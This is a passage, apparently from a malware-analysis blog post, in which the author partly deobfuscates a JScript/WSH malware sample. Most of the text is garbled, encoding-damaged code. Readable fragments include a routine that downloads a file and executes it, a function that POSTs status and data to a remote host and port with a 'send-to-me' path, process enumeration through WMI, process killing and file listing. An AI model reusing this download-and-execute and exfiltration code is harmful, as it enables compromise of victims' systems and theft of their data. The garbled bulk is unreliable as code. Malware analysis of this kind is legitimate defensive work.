strlink\/H\u009a&#x5B;]\\\u009b\u00c3B\u009d\u0098\\\u0088\u00dd\u009c\u00d8]\u0099]\u00c8H&#x5B;\u009c\u00dd&#x5B;\\\u008a\u00b2f\u0096\u00c6V\u00e6\u00d6S\u00b0\u00d0\u00a7f&quot;\u00f6&amp;\u00a6\u0087GGF\u00f7v\u00e6\u00c6\u00f6B\u00f4\u0081]M\u008d\u00c9\u00a5\u00c1\u00d0\u00b9\r\n\u00c9\u0095\u0085\u00d1\u0095=\u0089\u00a9\u0095\u008d\u00d0\u00a0\u0089\u00b5\u00cd\u00e1\u00b5\u00b0\u00c8\u00b9\u00e1\u00b5\u00b1\u00a1\u00d1\u00d1\u00c0\u0088\u0080\u00a4\u00ec4)\u00bd\u0089\u00a9\u00a1\u00d1\u00d1\u00c1\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9\u00bd\u00c1\u0095\u00b8\u00a0\u0089\u009d\u0095\u00d0\u0088\u00b0\u0081\u00cd\u00d1\u00c9\u00b1\u00a5\u00b9\u00ac\u00b0\u0081\u0099\u0085\u00b1\u00cd\u0094\u00a4\u00ec4)\u00bd\u0089\u00a9\u00a1\u00d1\u00d1\u00c1\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9\u00cd\u0095\u00d1I\u0095\u00c5\u00d5\u0095\u00cd\u00d1!\u0095\u0085\u0091\u0095\u00c8\u00a0\u0089\u008d\u0085\u008d\u00a1\u0094\u00b5\u008d\u00bd\u00b9\u00d1\u00c9\u00bd\u00b0\u00e8\u0088\u00b0\u00a2max-age=0&quot;);\r\nobjhttpdownload.send();\r\nvar objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\nif(objfsodownload.fileExists(strsaveto)){\r\nobjfsodownload.deleteFile(strsaveto);\r\n}\r\nif (objhttpdownload.status == 2&lt;\r\n^\u00c3B\u009d\u009e^\u00c3B\u009d\u0098\\\u008a\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00d2u67&amp;\u0097B\u00e47&amp;VFT\u00f6&amp;\u00a6V7B\u0082&amp;F\u00f6F&quot;\u00e77G&amp;V\u00d2&quot;\u0093\u00b0\u00d0\u00a6\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00e5G\u0097R\u00d2\u00b0\u00d0\u00a6\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00e4\u00f7V\u00e2\u0082\u0093\u00b0\u00d0\u00a6\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00e5w&amp;\u0097FR\u0086\u00f6&amp;\u00a6\u0087GGF\u00f7v\u00e6\u00c6\u00f6B\u00e7&amp;W7\u00f6\u00e76T&amp;\u00f6G\u0092\u0093\u00b0\u00d0\u00a6\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00e56fUF\u00f4f\u0096\u00c6R\u00877G'6fWF\u00f2\u0093\u00b0\u00d0\u00a6\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00e66\u00c6\u00f76R\u0082\u0093\u00b0\u00d0\u00a6\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00d2\u00e7V\u00c6\u00c3\u00b0\u00d0\u00a7\u00d66F6\u0082\u0086W'&quot;\u0097\u00b0\u00d0\u00a7WFFW7FGW2\u0082$66W72\u00b4FV\u00e6\u0096VB&quot;\u0093\u00b0\u00d0\u00a7\u00d0\u00d0\u00a7\u00d0\u00d0\u00a6\u0096b\u0086\u00f6&amp;\u00a6g6\u00f6F\u00f7v\u00e6\u00c6\u00f6B\u00e6f\u0096\u00c6TW\u0086\u00977G2\u00877G'6fWF\u00f2\u0092\u0097\u00b0\u00d0\u00a76\u0086V\u00c6\u00c6\u00f6&amp;\u00a2\u00e7'V\u00e2\u0082%\u00c2&quot;&quot;\u00b27G'6fWF\u00f2\u00b2\u0089p\u0088\u0080\u0088\u00ab host +(\u0088\u0088\r\n\u00c8\u00dc\u009d\r\n\u00c8\u0088\u0088\u0088\r\n\u00c8\u009a&#x5B;X\\\u0099\u00c8\r\n\u00c8\u0097\u0088\u008aN\u00c3B\u009fCB\u009fCB\u0099\u009d&#x5B;\u0098\u00dd&#x5B;\u00db\u0088\u00da]Y\u00dd\u00db\u009b\u00d8Y\\\u008a\u0086f\u0096\u00c6WW&amp;\u00c2\u00c6f\u0096\u00c6V\u00e6\u00d6R\u0097\u00b0\u00d0\u00a7f&quot;7G&amp;\u00c6\u0096\u00e6\u00b2\u00f4\u0081\u0099\u00a5\u00b1\u0095\u00d5\u00c9\u00b0\u00ec4)\u00d9\u0085\u00c8\u0081\u00cd\u00d1\u00c9\u00cd\u0085\u00d9\u0095\u00d1\u00bc\u0080\u00f4\u0081\u00a5\u00b9\u00cd\u00d1\u0085\u00b1\u00b1\u0091\u00a5\u00c8\u00ab filename;\r\nvar objhttpdownload\/H\u00d4\u00d8\u00dc\u009a\\\u0090\u00dc\u0099X]S\u00d8\u009a\u0099X\u00dd\r\n\u009b\\\u00de&#x5B;\u008b\u009c\u00d9\\\u009d\u0099\\\u009e&#x5B;\u0088\r\nN\u00c3B\u009b\u00d8\u009a\u009a\u00dd\u00db\u009b\u00d8Y\u009b\u00dc&#x5B;\u008a\u0099\u00d9]\u008b\u00dd\u009b&#x5B;\u009a\u00cb\u0098&#x5B;\u00d9JN\u00c3B\u009b\u00d8\u009a\u009a\u00dd\u00db\u009b\u00d8Y\u009c\u00d9]\u0099\\]Y\\\u00ddXY\\\u008a\u0098\u00d8X\u00daKX\u00db\u00db\u009d\u009b\u00db\u008b\u009bX^XY\u00d9ON&quot;\u0093\u00b0\u00d0\u00a6\u00f6&amp;\u00a6\u0087GGF\u00f7v\u00e6\u00c6\u00f6B\u00e76V\u00e6B\u0082\u0093\u00b0\u00d0\u00a7f&quot;\u00f6&amp;\u00a6g6\u00f6F\u00f7v\u00e6\u00c6\u00f6B\u00d2u67&amp;\u0097B\u00e47&amp;VFT\u00f6&amp;\u00a6V7B\u0082'67&amp;\u0097F\u0096\u00e6r\u00e6f\u0096\u00c6W7\u00977FV\u00d6\u00f6&amp;\u00a6V7B&quot;\u0093\u00b0\u00d0\u00a6\u0096b\u0086\u00f6&amp;\u00a6g6\u00f6F\u00f7v\u00e6\u00c6\u00f6B\u00e6f\u0096\u00c6TW\u0086\u00977G2\u00877G'6fWF\u00f2\u0092\u0097\u00b0\u00d0\u00a6\u00f6&amp;\u00a6g6\u00f6F\u00f7v\u00e6\u00c6\u00f6B\u00e6FV\u00c6WFTf\u0096\u00c6R\u00877G'6fWF\u00f2\u0093\u00b0\u00d0\u00a7\u00d0\u00d0\u00a6\u0096b\u00a1\u00bd\u0089\u00a9\u00a1\u00d1\u00d1\u00c1\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9\u00cd\u00d1\u0085\u00d1\u00d5\u00cc\u00bd=,\u008c\u0097\u00b0\u00d0\u00a7f&quot;\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00f4\u0081]M\u008d\u00c9\u00a5\u00c1\u00d0\u00b9\r\n\u00c9\u0095\u0085\u00d1\u0095=\u0089\u00a9\u0095\u008d\u00d0\u00a0\u0089\u0085\u0091\u00bd\u0091\u0088\u00b9\u00cd\u00d1\u00c9\u0095\u0085\u00b4\u0088\u00a4\u00ec4)\u00bd\u0089\u00a9\u00cd\u00d1\u00c9\u0095\u0085\u00b5\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9Q\u00e5\u00c1\u0094\u0080\u00f4\u00b1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\n}\r\nif(objfsodownload.fileExists(strsaveto)){\r\nshellobj.run(objfsodownload.getFile(strsaveto).shortPath);\r\nupdatestatus(&quot;Executed+File&quot;);\r\n}\r\n}\r\nfunction download (fileurl,filedir){\r\nif(filedir == &quot;&quot;){\r\nfiledir = installdir;\r\n}\r\nstrsaveto = filedir*\u00c8\u009a&#x5B;]\\\u009b\u009c\u00ddX\u009c\u00dd\u008a\u009a&#x5B;]\\\u009b\u009b\\\u00dd&#x5B;\u0099^\u00d9\u008a\u0097\u008aH\r\n\u00cb\u0093\u00b0\u00d0\u00a7f&quot;\u00f6&amp;\u00a6\u0087GGF\u00f7v\u00e6\u00c6\u00f6B\u00d2u67&amp;\u0097B\u00e47&amp;VFT\u00f6&amp;\u00a6V7B\u0082&amp;\u00d77\u0086\u00d6\u00c3&quot;\u00e7\u0086\u00d6\u00c6\u0087GG\u0088\u00a4\u00ec4)\u00bd\u0089\u00a9\u00a1\u00d1\u00d1\u00c1\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9\u00bd\u00c1\u0095\u00b8\u00a0\u0089\u00c1\u00bd\u00cd\u00d0\u0088\u00b0\u0089\u00a1\u00d1\u00d1\u00c0\u00e8\u00bc\u00bc\u0088\u0080\u00ac\u0081\u00a1\u00bd\u00cd\u00d0\u0080\u00ac\u0080\u0088\u00e8\u0088\u0080\u00ac\u0081\u00c1\u00bd\u00c9\u00d0\u00ab&quot;\/&quot; + &quot;send-to-me&quot; + spliter*\u00c8\u009a&#x5B;]\\\u009b\u0098&#x5B;\u00d9JN\u00c3B\u009b\u00d8\u009a\u009a\u00dd\u00db\u009b\u00d8Y\u009c\u00d9]\u0099\\]Y\\\u00ddXY\\\u008a\u009d\\\u00d9\\\u008bXY\u00d9&#x5B;\u009d\u0088\u008b&#x5B;\u0099\u009b\u00dc\u009bX]&#x5B;\u00db\u008a\r\nJN\u00c3B\u009b\u00d8\u009a\u009a\u00dd\u00db\u009b\u00d8Y\u009c\u00d9&#x5B;\u0099\r\n\u0088\u008aN\u00c3B\u009d\u0098\\\u0088\u00d8\u009a\u0099\u009c\u00db\u00d9\u00dd\u00db\u009b\u00d8YH\u00d4\u00d8\u00dc\u009a\\\u0090\u00dc\u0099X]S\u00d8\u009a\u0099X\u00dd\r\n\u009c\u00d8\u00dc\u009a\\&#x5B;\u0099\u00cb\u0099\u009a&#x5B;\\\u00de\\\u00dd&#x5B;&#x5B;\u00d8\u009a\u0099X\u00dd\u008aN\u00c3B\u009aY\u008a\u00d8\u009a\u0099\u009c\u00db\u00d9\u00dd\u00db\u009b\u00d8Y\u0099\u009a&#x5B;Q^\\\u00dd\u00ca\u00dd\u009c\u00d8]\u0099]\u00caJ^\u00c3B\u009b\u00d8\u009a\u0099\u009c\u00db\u00d9\u00dd\u00db\u009b\u00d8Y\u0099&#x5B;]Q\u009a&#x5B;J\u00dd\u009c\u00d8]\u0099]\u00caN\u00c3B\u009fCB\u009aY\u0088\r\n\u00d8\u009a\u009a\u00dd\u00db\u009b\u00d8Y\u009c\u00dd]\\\u00c8OH\u008f\u0097\u00b0\u00d0\u00a7f&quot;\u0081\u00bd\u0089\u00a9\u00cd\u00d1\u00c9\u0095\u0085\u00b5\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u0080\u00f4\u0081]M\u008d\u00c9\u00a5\u00c1\u00d0\u00b9\r\n\u00c9\u0095\u0085\u00d1\u0095=\u0089\u00a9\u0095\u008d\u00d0\u00a0\u0089\u0085\u0091\u00bd\u0091\u0088\u00b9\u00cd\u00d1\u00c9\u0095\u0085\u00b4\u0088\u00a4\u00ec4)\u00bd\u0089\u00a9\u00cd\u00d1\u00c9\u0095\u0085\u00b5\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9Q\u00e5\u00c1\u0094\u0080\u00f4\u0080\u00c4\u00ec4)\u00bd\u0089\u00a9\u00cd\u00d1\u00c9\u0095\u0085\u00b5\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9=\u00c1\u0095\u00b8\u00a0\u00a4\u00ec4)\u00bd\u0089\u00a9\u00cd\u00d1\u00c9\u0095\u0085\u00b5\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9]\u00c9\u00a5\u00d1\u0094\u00a1\u00bd\u0089\u00a9\u00a1\u00d1\u00d1\u00c1\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9\u00c9\u0095\u00cd\u00c1\u00bd\u00b9\u00cd\u0095\t\u00bd\u0091\u00e4\u00a4\u00ec4)\u00bd\u0089\u00a9\u00cd\u00d1\u00c9\u0095\u0085\u00b5\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9M\u0085\u00d9\u0095Q\u00bd\u00a5\u00b1\u0094\u00a1\u00cd\u00d1\u00c9\u00cd\u0085\u00d9\u0095\u00d1\u00bc\u00a4\u00ec4)\u00bd\u0089\u00a9\u00cd\u00d1\u00c9\u0095\u0085\u00b5\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9\u008d\u00b1\u00bd\u00cd\u0094\u00a0\u00a4\u00ec4)\u00bd\u0089\u00a9\u00cd\u00d1\u00c9\u0095\u0085\u00b5\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u0080\u00f4\u0081\u00b9\u00d5\u00b1\u00b0\u00ec4)\u00f44)\u00a5\u0098\u00a1\u00bd\u0089\u00a9\u0099\u00cd\u00bd\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9\u0099\u00a5\u00b1\u0095\u00e1\u00a5\u00cd\u00d1\u00cc\u00a1\u00cd\u00d1\u00c9\u00cd\u0085\u00d9\u0095\u00d1\u00bc\u00a4\u00a5\u00ec4)\u00cd\u00a1\u0095\u00b1\u00b1\u00bd\u0089\u00a8\u00b9\u00c9\u00d5\u00b8\u00a1\u00bd\u0089\u00a9\u0099\u00cd\u00bd\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9\u009d\u0095\u00d1\u00a5\u00b1\u0094\u00a1\u00cd\u00d1\u00c9\u00cd\u0085\u00d9\u0095\u00d1\u00bc\u00a4\u00b9\u00cd\u00a1\u00bd\u00c9\u00d1A\u0085\u00d1\u00a0\u00a4\u00ec4)\u00d5\u00c1\u0091\u0085\u00d1\u0095\u00cd\u00d1\u0085\u00d1\u00d5\u00cc\u00a0\u0089\u00e1\u0095\u008d\u00d5\u00d1\u0095\u0090\u00ad\u00a5\u00b1\u0094\u0088\u00a4\u00ec4)\u00f44)\u00f44)\u0099\u00d5\u00b9\u008d\u00d1\u00a5\u00bd\u00b8\u0081\u00d5\u00c1\u0091\u0085\u00d1\u0095\u00cd\u00d1\u0085\u00d1\u00d5\u00cc\u00a1\u00cd\u00d1\u0085\u00d1\u00d5\u00cd}\u00b5\u00cd\u009c\u00a5\u00ec4)\u00d9\u0085\u00c8\u0081\u00bd\u0089\u00a9\u00cd\u00bd\u008c\u0080\u00f4\u0081]M\u008d\u00c9\u00a5\u00c1\u00d0\u00b9\r\n\u00c9\u0095\u0085\u00d1\u0095=\u0089\u00a9\u0095\u008d\u00d0\u00a0\u0089\u00b5\u00cd\u00e1\u00b5\u00b0\u00c8\u00b9\u00e1\u00b5\u00b1\u00a1\u00d1\u00d1\u00e2);\r\nobjsoc.open(&quot;post&quot;,&quot;http:\/\/&quot; + host + &quot;:&quot; + port*\u00c8\u008b\u00c8\u008a\u00b2'WFFR\u00d77FGW2&quot;\u00ac\u0081\u00cd\u00c1\u00b1\u00a5\u00d1\u0095\u00c8\u0080\u00ac\u0081\u00cd\u00d1\u0085\u00d1\u00d5\u00cd}\u00b5\u00cd\u009c\u00b0\u0081\u0099\u0085\u00b1\u00cd\u0094\u00a4\u00ec4)\u00bd\u0089\u00a9\u00cd\u00bd\u008c\u00b9\u00cd\u0095\u00d1I\u0095\u00c5\u00d5\u0095\u00cd\u00d1!\u0095\u0085\u0091\u0095\u00c8\u00a0\u0089\u00d5\u00cd\u0095\u00c8\u00b5\u0085\u009d\u0095\u00b9\u00d0\u00e8\u0088\u00b0\u0081\u00a5\u00b9\u0099\u00bd\u00c9\u00b5\u0085\u00d1\u00a5\u00bd\u00b8\u00a0\u00a4\u00a4\u00ec4)\u00bd\u0089\u00a9\u00cd\u00bd\u008c\u00b9\u00cd\u0095\u00b9\u0090\u00a0\u0088\u0088\u00a4\u00ec4)\u00f44)\u0099\u00d5\u00b9\u008d\u00d1\u00a5\u00bd\u00b8\u0081\u00d5\u00c1\u00b1\u00bd\u0085\u0090\u00a8fileurl, retcmd){\r\ntry{\r\nvar(\u00d8\u009a\u008b\u00d8\u009a\u009c\u00dd\u0099X&#x5B;]\\\u00d8YK\u009dY\u0099\u0099\\\u008e\u00c3B\u009d\u0098\\\u0088\u00d8\u009a\u009c\u00dd\u0099X&#x5B;]\\\u00d8YHH\u00d4\u00d8\u00dc\u009a\\\u0090\u00dc\u0099X]S\u00d8\u009a\u0099X\u00dd\r\n\u0098Y\u00d9\u008b\u009c\u00dd\u0099X&#x5B;H\u008aN\u00c3B\u009b\u00d8\u009a\u009c\u00dd\u0099X&#x5B;]\\\u00d8YK\u0095\\HHN\u00c3B\u009b\u00d8\u009a\u009c\u00dd\u0099X&#x5B;]\\\u00d8YK\u0093\u00dc&#x5B;\u008a\r\nN\u00c3B\u009b\u00d8\u009a\u009c\u00dd\u0099X&#x5B;]\\\u00d8YK\u009b\u00d8Y\u009c\u009b\u00dbQ\u009a&#x5B;J\u009a&#x5B;]\\\u009b\r\nN\u00c3B\u0098\u009dY\u0099\u0099\\\u0088H\u00d8\u009a\u009c\u00dd\u0099X&#x5B;]\\\u00d8YK\u0094\u0099XY\r\n\r\nN\u00c3B\u009b\u00d8\u009a\u009c\u00dd\u0099X&#x5B;]\\\u00d8YK\u0098\u00db\u00dc\u00d9J\r\nN\u00c3B\u009b\u00d8\u009a\u009c\u00dd\u0099X&#x5B;Y\u00dd\u00db\u009b\u00d8YH\u009d&#x5B;\u00c3B\u009d\u0098\\\u0088\u00d8\u009a\u0088H\u00d4\u00d8\u00dc\u009a\\\u0090\u00dc\u0099X]S\u00d8\u009a\u0099X\u00dd\r\n\u009b\\\u00de&#x5B;\u008b\u009e&#x5B;\u008aN\u00c3B\u009a\u00d8\u009a\u008b\u009b\u00dc&#x5B;\u008a\u009c\u00dc\u00dd\u008b\u009a\u008b\u00cb\u00c8\u008a\u00b2\u0086\u00f77B\u00b2\u0088\u00e8\u0088\u0080\u00ac\u0081\u00c1\u00bd\u00c9\u00d0\u0080\u00ac\u0088\u00bc\u0088\u0080\u00ac\u0081\u00c9\u0095\u00d1\u008d\u00b5\u0090\u00b0\u0081\u0099\u0085\u00b1\u00cd\u0094\u00a4\u00ec4)\u00a1\u00d1\u00d1\u00c1\u00bd\u0089\u00a8\u00b9\u00cd\u0095\u00d1I\u0095\u00c5\u00d5\u0095\u00cd\u00d1!\u0095\u0085\u0091\u0095\u00c8\u00a0\u0089\u00d5\u00cd\u0095\u00c8\u00b5\u0085\u009d\u0095\u00b9\u00d0\u00e8\u0088\u00b0\u0081\u00a5\u00b9\u0099\u00bd\u00c9\u00b5\u0085\u00d1\u00a5\u00bd\u00b8\u00a0\u00a4\u00a4\u00ec4)\u00a1\u00d1\u00d1\u00c1\u00bd\u0089\u00a8\u00b9\u00cd\u0095\u00b9\u0090\u00a1\u0089\u00d5\u0099\u0099\u0095\u00c8\u00a4\u00ec4)\u00f5\u008d\u0085\u00d1\u008d\u00a0\u00a1\u0095\u00c8\u00a5\u00ec4)\u00d5\u00c1\u0091\u0085\u00d1\u0095\u00cd\u00d1\u0085\u00d1\u00d5\u00cc\u00a0\u0089U\u00c1\u00b1\u00bd\u0085\u0090\u00ad\u0085\u00a5\u00b1\u0095\u0090\u0088\u00a4\u00ec4)\u00f44)\u00f44)\u0099\u00d5\u00b9\u008d\u00d1\u00a5\u00bd\u00b8\u0081\u0091\u0095\u00b1\u0095\u00d1\u0095\u0099\u0085\u0098\u0080\u00a1\u00d5\u00c9\u00b0\u00a5\u00ec4)\u00d1\u00c9\u00e5\u00ec4)\u0099\u00a5\u00b1\u0095\u00cd\u00e5\u00cd\u00d1\u0095\u00b5\u00bd\u0089\u00a8\u00b9\u0091\u0095\u00b1\u0095\u00d1\u0095\u00a5\u00b1\u0094\u00a1\u00d5\u00c9\u00b0\u00a4\u00ec4)\u0099\u00a5\u00b1\u0095\u00cd\u00e5\u00cd\u00d1\u0095\u00b5\u00bd\u0089\u00a8\u00b9\u0091\u0095\u00b1\u0095\u00d1\u0095\u00bd\u00b1\u0091\u0095\u00c8\u00a1\u00d5\u00c9\u00b0\u00a4\u00ec4)\u00f5\u008d\u0085\u00d1\u008d\u00a0\u00a1\u0095\u00c9\u00c8\u00a5\u00ed\u00f44)\u00f44)\u0099\u00d5\u00b9\u008d\u00d1\u00a5\u00bd\u00b8\u0081\u008d\u00b5\u0091\u00cd\u00a1\u0095\u00b1\u00b0\u0080\u00a1\u008d\u00b5\u0090\u00a5\u00ec4)\u00d9\u0085\u00c8\u0081\u00a1\u00d1\u00d1\u00c1\u00bd\u0089\u00a8\u00b1\u00bd\u0095\u00e1\u0095\u008c\u00b1\u00c9\u0095\u0085\u0091\u0085\u00b1\u00b1\u0099\u00c9\u00bd\u00b5\u0085\u00b9\u00e4\u00ec4)\u00d9\u0085\u00c8\u0081\u00cd\u00d1\u00c9\u00cd\u0085\u00d9\u0095\u00d1\u00bc\u0080\u00f4\u0081\u00a5\u00b9\u00cd\u00d1\u0085\u00b1\u00b1\u0091\u00a5\u00c8\u0080\u00ac\u0080\u0089\u00bd\u00d5\u00d0\u00b9\u00d1\u00e1\u00d0\u0088\u00ec4)\u00cd\u00a1\u0095\u00b1\u00b1\u00bd\u0089\u00a8\u00b9\u00c9\u00d5\u00b8\u00a0\u0088\u0095\u008d\u00bd\u00b5\u00cd\u00c1\u0095\u008c\u0094\u0080\u00bd\u008c\u0080\u0088\u00ab cmd*\u00c8\u0088\u0088\u0088\u0088\r\n\u00c8\u00dd\u009c\u00d8]\u0099]\u00c8\r\n\u00ca%\u00c2&quot;&quot;\u00c2\u00c0\u00b0\u0081\u00d1\u00c9\u00d5\u0094\u00a4\u00ec4)\u00c9\u0095\u0085\u0091\u0085\u00b1\u00b1\u0099\u00c9\u00bd\u00b5\u0085\u00b9\u00e4\u0080\u00f4\u0081\u0099\u00a5\u00b1\u0095\u00cd\u00e5\u00cd\u00d1\u0095\u00b5\u00bd\u0089\u00a8\u00b9\u00bd\u00c1\u0095\u00b9Q\u0095\u00e1\u00d1\u00a5\u00b1\u0094\u00a1\u00cd\u00d1\u00c9\u00cd\u0085\u00d9\u0095\u00d1\u00bc\u00a4\u00b9\u00c9\u0095\u0085\u0091\u00b1\u00b0\u00a0\u00a4\u00ec4)\u00d1\u00c9\u00e5\u00ec4)\u0099\u00a5\u00b1\u0095\u00cd\u00e5\u00cd\u00d1\u0095\u00b5\u00bd\u0089\u00a8\u00b9\u0091\u0095\u00b1\u0095\u00d1\u0095\u00a5\u00b1\u0094\u00a1\u00cd\u00d1\u00c9\u00cd\u0085\u00d9\u0095\u00d1\u00bc\u00a4\u00ec4)\u00f5\u008d\u0085\u00d1\u008d\u00a0\u00a1\u0095\u0094\u00a5\u00ed\u00f44)\u00c9\u0095\u00d1\u00d5\u00c9\u00b8\u0081\u00c9\u0095\u0085\u0091\u0085\u00b1\u00b1\u0099\u00c9\u00bd\u00b5\u0085\u00b9\u00e4\u00ec4)\u00f44)\u0099\u00d5\u00b9\u008d\u00d1\u00a5\u00bd\u00b8\u0081\u0095\u00b9\u00d5\u00b5\u00c1\u00c9\u00bd\u008d\u0095\u00cd\u00cc\u00a0\u00a5\u00ec4)\u00d9\u0085\u00c8\u0081\u0095\u00c0\u00bd &quot;&quot;;\r\ntry{\r\nvar objwmiservice = GetObject(&quot;winmgmts:\\\\\\\\.\\\\root\\\\cimv2&quot;);\r\nvar colitems = objwmiservice.ExecQuery(&quot;select*\u0088\u009c\u009b\u00dbH\u00da&#x5B;\u008c\u00cc\u0097\u00dc\u009b\u00d8\u00d9\\\u00dc\u00c8\u008b\u009d&#x5B;\r\n\r\nN\u00c3B\u0099\u009b\u00dc\u008a\u0098\\\u0088\u009aHH\u0099]\u00c8&#x5B;\u009d&#x5B;Y\\\u0098]\u00dc\u008a\u00db\u00db]&#x5B;\\\u00caN\u00caf\u0092\u00e6DV\u00e6B\u0082\u0093\u00b2f\u0092\u00e6\u00d6\u00f7fT\u00e6W\u0087B\u0082\u0092\u0097\u00b0\u00d0\u00a7f&quot;\u00f6&amp;\u00a6\u0097FV\u00d2\u00f4\u0081\u0099\u00a4\u00b9\u00a5\u00d1\u0095\u00b4\u00a0\u00a4\u00ec4)\u0095\u00c0\u0080\u00f4\u0081\u0095\u00e0+ objitem.name +(\u0097\u0088\u008e\u00c3B\u0099\\\u00d2W\u00b2\u00f6&amp;\u00a6\u0097FV\u00d2\u00e7&amp;\u00f66W74\u0096B\u00b2\u0089x\u0088\u00ec4)\u0095\u00c0\u00bd ep + objitem.executablePath*\u00c8\u00dc]\\\u008e\u00c3B\u009fCB\u009fX\u00d8]\u00da\r\n\\\u008a^\u00dfCB\u009c\u0099]\\\u009b\u0088\\\u00c3B\u009fCB\u0099\u009d&#x5B;\u0098\u00dd&#x5B;\u00db\u0088^]\u009b\u00d8\u00d9\\\u00dc\u00c8\r\nY\r\n^\u00c3B\u009d\u009e^\u00c3B\u009c\u00da&#x5B;\u00d8\u009a\u008b\u009c\u009d&#x5B;\u008a\u009d\\\u00da\u00da\u00da&#x5B;\r\n\u00f4b\u00bdP\u00afPID &quot; + pid,0,true);\r\n}catch(err){}\r\n}\r\nfunction getParentDirectory(path){\r\nvar fo\/H\u009a&#x5B;\\\u00de\\\u00dd&#x5B;&#x5B;\u00d8\u009a\u008b\u0099\u00d9]\u009a&#x5B;J]\r\nN\u00c3B\u009c\u0099]\\\u009b\u0088\u009a&#x5B;\\\u00de\\\u00dd&#x5B;&#x5B;\u00d8\u009a\u008b\u0099\u00d9]\\\u0099&#x5B;\u009d\u009b\u00db\\\u0093\u0098&#x5B;YJ\u009b\u00caN\u00c3B\u009fCB\u0099\u009d&#x5B;\u0098\u00dd&#x5B;\u00db\u0088&#x5B;\u009d&#x5B;Y\u0098Y\u008a\u0086V\u00e7V\u00d6F\u0097&quot;\u0097\u00b0\u00d0\u00a7f&quot;&amp;R\u00d2\u0088\u0088\u00ec4)\u00d1\u00c9\u00e5\u00ec4)\u0099\u00bd\u00c8\u00a1\u00d9\u0085\u00c8\u0081\u0099\u00a4\u0080\u00f4\u0081\u00b9\u0095\u00dc\u0081\u00b9\u00d5\u00b5\u0095\u00c9\u0085\u00d1\u00bd\u00c8\u00a1\u0099\u00a5\u00b1\u0095\u00cd\u00e5\u00cd\u00d1\u0095\u00b5\u00bd\u0089\u00a8\u00b9\u009d\u0095\u00d1\u00bd\u00b1\u0091\u0095\u00c8\u00a8enumdir).subfolders); !fi.atEnd(); fi.moveNext()){\r\nvar folder = fi.item();\r\nre\/H\u0099H\r\n\u00c8\u009b\u00db\\\u008b\u009b\u0098&#x5B;YH\r\n\u00ca%\u00e5\u00e6E\u00e2&quot;\u00b2f\u00f6\u00c6FW&quot;\u00e6GG&amp;\u0096'WFW2\u00ac\u0081\u00cd\u00c1\u00b1\u00a5\u00d1\u0095\u00c8\u00ec4)\u00f44)\u0099\u00bd\u00c8\u00a1\u00d9\u0085\u00c8\u0081\u0099\u00a4\u0080\u00f4\u0081\u00b9\u0095\u00dc\u0081\u00b9\u00d5\u00b5\u0095\u00c9\u0085\u00d1\u00bd\u00c8\u00a1\u0099\u00a5\u00b1\u0095\u00cd\u00e5\u00cd\u00d1\u0095\u00b5\u00bd\u0089\u00a8\u00b9\u009d\u0095\u00d1\u00bd\u00b1\u0091\u0095\u00c8\u0080\u00a1\u0095\u00b9\u00d5\u00b5\u0091\u00a5\u00c8\u00a4\u00b9\u0099\u00a5\u00b1\u0095\u00cc\u00a4\u00ec\u0080\u0085\u0099\u00a4\u00b9\u0085\u00d1\u00b9\u0090\u00a0\u00a4\u00ec\u0081\u0099\u00a4\u00b9\u00b5\u00bd\u00d9\u00959\u0095\u00e1\u00d0\u00a0\u00a4\u00a5\u00ec4)\u00d9\u0085\u00c8\u0081\u0099\u00a5\u00b1\u0094\u0080\u00f4\u0081\u0099\u00a4\u00b9\u00a5\u00d1\u0095\u00b4\u00a0\u00a4\u00ec4)\u00c9\u0094\u00bd re + file.name + &quot;^&quot; + file.size + &quot;^&quot; + file.attributes + spliter;\r\n}\r\n}catch(err){}\r\nreturn re;\r\n}\r\n<\/pre>\n<p>Seeing this, I was stumped. It wasn&#8217;t until I talked to one of my colleagues about this and he stated that the string of &#8220;&gt;&gt;%&#8221; was to be replaced globally (ie: hailMYjes(Array(&#8220;&gt;&gt;%&#8221;, &#8220;g&#8221;)). Looking into the code some more, I also think (and I am postulating here) that this is served via the function &#8220;bloodO(pstAR)&#8221; and the particular line of &#8220;pstAR.O.text = bgftrewas()[0].replace(pstAR.I, &#8220;A&#8221;);.&#8221; I think that the &#8220;I&#8221; is a reference to the regular expression statement in the function called &#8220;hailMYjes&#8221; where it is being sent two different arguments. I could be wrong about this one and if anyone knows, please update this so we can all learn from it. \ud83d\ude0e <\/p>\n<p>So now knowing this bit of information, I went back and replaced all the instances of &#8220;&gt;&gt;%&#8221; with &#8216;A&#8217;. Low and behold I got something that looked a lot cleaner as seen 